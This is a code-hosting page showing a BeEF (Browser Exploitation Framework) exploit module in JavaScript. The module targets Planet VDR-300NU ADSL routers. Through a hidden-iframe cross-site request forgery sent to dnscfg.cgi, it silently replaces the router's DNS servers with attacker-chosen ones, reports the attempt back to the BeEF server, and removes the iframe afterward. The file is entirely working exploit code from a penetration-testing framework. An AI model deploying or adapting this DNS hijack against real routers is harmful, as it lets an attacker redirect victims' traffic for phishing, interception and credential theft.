Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
beefproject
GitHub Repository: beefproject/beef
Path: blob/master/modules/exploits/router/planet_vdr300nu_adsl_dns_hijack/command.js
1154 views
1
//
2
// Copyright (c) 2006-2025Wade Alcorn - [email protected]
3
// Browser Exploitation Framework (BeEF) - https://beefproject.com
4
// See the file 'doc/COPYING' for copying permission
5
//
6
7
beef.execute(function() {
8
9
// config
10
var target = 'http://<%= @rhost %>/dnscfg.cgi';
11
var dns1 = '<%= @dns1 %>';
12
var dns2 = '<%= @dns2 %>';
13
var timeout = 15;
14
15
// validate DNS server IP addresses
16
if (!beef.net.is_valid_ip(dns1)) {
17
beef.debug('Invalid Primary DNS server IP address was provided');
18
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=an invalid Primary DNS server IP address was provided");
19
return;
20
}
21
if (!beef.net.is_valid_ip(dns2)) {
22
beef.debug('Invalid Secondary DNS server IP address was provided');
23
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=an invalid Secondary DNS server IP address was provided");
24
return;
25
}
26
27
// change DNS
28
var planet_vdr300nu_adsl_iframe_<%= @command_id %> = beef.dom.createIframeXsrfForm(target, "GET", "application/x-www-form-urlencoded", [
29
{'type':'hidden', 'name':'dnsPrimary', 'value': dns1},
30
{'type':'hidden', 'name':'dnsSecondary', 'value': dns2},
31
{'type':'hidden', 'name':'dnsDynamic', 'value': '0'},
32
{'type':'hidden', 'name':'dnsRefresh', 'value': '1'}
33
]);
34
35
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=exploit attempted");
36
37
// clean up
38
cleanup = function() {
39
document.body.removeChild(planet_vdr300nu_adsl_iframe_<%= @command_id %>);
40
}
41
setTimeout("cleanup()", timeout*1000);
42
43
});
44
45
46